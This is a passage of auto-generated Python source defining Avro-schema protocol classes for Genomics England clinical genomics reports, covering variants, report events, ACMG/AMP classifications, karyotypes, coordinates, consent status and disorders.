["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type":
"record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string",
"doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "",
"fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"},
{"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]},
{"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]},
{"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null",
"string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type":
"record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name":
"version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array",
"items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id",
"type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc":
""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "",
"fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName",
"type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name":
"modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols":
["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted",
"monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic",
"monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic",
"mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type":
"array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type",
"type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region",
"gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""},
{"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type":
["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""},
{"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name":
"segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols":
["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo",
"InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted",
"InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous",
"XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name":
"penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace":
"org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""},
{"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name":
"fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants",
"type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"],
"doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum",
"name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}],
"doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "",
"fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier",
"type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name":
"estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null",
"string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase",
"doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3",
"phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name":
"interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols":
["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""},
{"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes",
"doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type":
"map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record",
"name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""},
{"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name":
"alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name":
"population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc":
""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array",
"items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}]}]}}], "doc": ""}, {"name": "structuralVariants", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "StructuralVariant", "fields": [{"name": "variantType", "type":
{"type": "enum", "name": "StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification",
"deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type":
"record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name":
"chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"},
{"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields":
[{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type":
["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields":
[{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference",
"type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info",
"type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type":
{"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name":
"leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"},
{"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start",
"start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates",
"type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}},
{"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name":
"variantAttributes", "type": ["null", "VariantAttributes"]}, {"name":
"shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name":
"ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"},
{"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name":
"normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name":
"uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name":
"chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc":
""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols":
["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type":
["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment",
"fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name":
"uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols":
["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type":
"record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name":
"relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type":
"float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc":
""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""},
{"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name":
"iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""},
{"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc":
""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies",
"type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc":
""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO",
"XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}]}}], "doc": ""}, {"name": "genomicInterpretation", "type": "string",
"doc": ""}, {"name": "additionalAnalysisPanels", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AdditionalAnalysisPanel", "doc": "", "fields": [{"name":
"specificDisease", "type": "string"}, {"name": "panel", "type": "GenePanel"}]}}], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"referenceDatabasesVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name":
"softwareVersions", "type": {"type": "map", "values": "string"}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalAnalysisPanels",
"chromosomalRearrangements",
"genomicInterpretation",
"interpretationRequestId",
"interpretationRequestVersion",
"karyotypes",
"referenceDatabasesVersions",
"references",
"reportingDate",
"shortTandemRepeats",
"softwareVersions",
"structuralVariants",
"uniparentalDisomies",
"user",
"variants",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'additionalAnalysisPanels': AdditionalAnalysisPanel,
'chromosomalRearrangements': ChromosomalRearrangement,
'karyotypes': Karyotype,
'shortTandemRepeats': ShortTandemRepeat,
'structuralVariants': StructuralVariant,
'uniparentalDisomies': UniparentalDisomy,
'variants': SmallVariant,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'additionalAnalysisPanels': AdditionalAnalysisPanel,
'chromosomalRearrangements': ChromosomalRearrangement,
'karyotypes': Karyotype,
'shortTandemRepeats': ShortTandemRepeat,
'structuralVariants': StructuralVariant,
'uniparentalDisomies': UniparentalDisomy,
'variants': SmallVariant,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalAnalysisPanels', 'chromosomalRearrangements',
'genomicInterpretation', 'interpretationRequestId',
'interpretationRequestVersion', 'karyotypes',
'referenceDatabasesVersions', 'references', 'reportingDate',
'shortTandemRepeats', 'softwareVersions',
'structuralVariants', 'uniparentalDisomies', 'user',
'variants'
]
def __init__(self, **kwargs):
self.additionalAnalysisPanels = kwargs.get(
'additionalAnalysisPanels', None)
self.chromosomalRearrangements = kwargs.get(
'chromosomalRearrangements', None)
self.genomicInterpretation = kwargs.get(
'genomicInterpretation', None)
self.interpretationRequestId = kwargs.get(
'interpretationRequestId', None)
self.interpretationRequestVersion = kwargs.get(
'interpretationRequestVersion', None)
self.karyotypes = kwargs.get(
'karyotypes', None)
self.referenceDatabasesVersions = kwargs.get(
'referenceDatabasesVersions', None)
self.references = kwargs.get(
'references', None)
self.reportingDate = kwargs.get(
'reportingDate', None)
self.shortTandemRepeats = kwargs.get(
'shortTandemRepeats', None)
self.softwareVersions = kwargs.get(
'softwareVersions', None)
self.structuralVariants = kwargs.get(
'structuralVariants', None)
self.uniparentalDisomies = kwargs.get(
'uniparentalDisomies', None)
self.user = kwargs.get(
'user', None)
self.variants = kwargs.get(
'variants', None)
class ClinicalSignificance(object):
"""
No documentation
"""
benign = "benign"
likely_benign = "likely_benign"
likely_pathogenic = "likely_pathogenic"
pathogenic = "pathogenic"
uncertain_significance = "uncertain_significance"
def __hash__(self):
return str(self).__hash__()
class ClinicalUtility(object):
"""
No documentation
"""
none = "none"
change_in_medication = "change_in_medication"
surgical_option = "surgical_option"
additional_surveillance_for_proband_or_relatives = "additional_surveillance_for_proband_or_relatives"
clinical_trial_eligibility = "clinical_trial_eligibility"
informs_reproductive_choice = "informs_reproductive_choice"
unknown = "unknown"
other = "other"
def __hash__(self):
return str(self).__hash__()
class ConfidenceInterval(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "ConfidenceInterval", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"left",
"right",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'left', 'right'
]
def __init__(self, **kwargs):
self.left = kwargs.get(
'left', None)
self.right = kwargs.get(
'right', None)
class ConfirmationDecision(object):
"""
No documentation
"""
yes = "yes"
no = "no"
na = "na"
def __hash__(self):
return str(self).__hash__()
class ConfirmationOutcome(object):
"""
No documentation
"""
yes = "yes"
no = "no"
na = "na"
def __hash__(self):
return str(self).__hash__()
class ConsentStatus(ProtocolElement):
"""
Consent Status
"""
_schemaSource = """
{"type": "record", "name": "ConsentStatus", "namespace": "org.gel.models.participant.avro", "doc":
"", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false},
{"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name":
"secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name":
"carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'carrierStatusConsent', 'primaryFindingConsent',
'programmeConsent', 'secondaryFindingConsent'
]
def __init__(self, **kwargs):
self.carrierStatusConsent = kwargs.get(
'carrierStatusConsent', False)
self.primaryFindingConsent = kwargs.get(
'primaryFindingConsent', False)
self.programmeConsent = kwargs.get(
'programmeConsent', False)
self.secondaryFindingConsent = kwargs.get(
'secondaryFindingConsent', False)
class Coordinates(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Coordinates", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name":
"end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name":
"ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type":
"int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"assembly",
"chromosome",
"ciEnd",
"ciStart",
"end",
"start",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'ciEnd': ConfidenceInterval,
'ciStart': ConfidenceInterval,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'ciEnd': ConfidenceInterval,
'ciStart': ConfidenceInterval,
}
return embeddedTypes[fieldName]
__slots__ = [
'assembly', 'chromosome', 'ciEnd', 'ciStart', 'end', 'start'
]
def __init__(self, **kwargs):
self.assembly = kwargs.get(
'assembly', None)
self.chromosome = kwargs.get(
'chromosome', None)
self.ciEnd = kwargs.get(
'ciEnd', None)
self.ciStart = kwargs.get(
'ciStart', None)
self.end = kwargs.get(
'end', None)
self.start = kwargs.get(
'start', None)
class DemographicElegibilityCriteria(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "DemographicElegibilityCriteria", "namespace":
"org.gel.models.report.avro", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ageRange",
"sex",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'ageRange': AgeRange,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'ageRange': AgeRange,
}
return embeddedTypes[fieldName]
__slots__ = [
'ageRange', 'sex'
]
def __init__(self, **kwargs):
self.ageRange = kwargs.get(
'ageRange', None)
self.sex = kwargs.get(
'sex', None)
class DiseasePenetrance(ProtocolElement):
"""
A disease penetrance definition
"""
_schemaSource = """
{"type": "record", "name": "DiseasePenetrance", "namespace": "org.gel.models.participant.avro",
"doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name":
"penetrance", "type": {"type": "enum", "name": "Penetrance", "doc": "", "symbols": ["complete",
"incomplete"]}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"penetrance",
"specificDisease",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'penetrance', 'specificDisease'
]
def __init__(self, **kwargs):
self.penetrance = kwargs.get(
'penetrance', None)
self.specificDisease = kwargs.get(
'specificDisease', None)
class Disorder(ProtocolElement):
"""
This is quite GEL specific. This is the way is stored in
ModelCatalogue and PanelApp. Currently all specific disease
titles are assigned to a disease subgroup so really only
specificDisease needs to be completed but we add the others
for generality
"""
_schemaSource = """
{"type": "record", "name": "Disorder", "namespace": "org.gel.models.participant.avro", "doc": "",
"fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name":
"diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type":
["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}
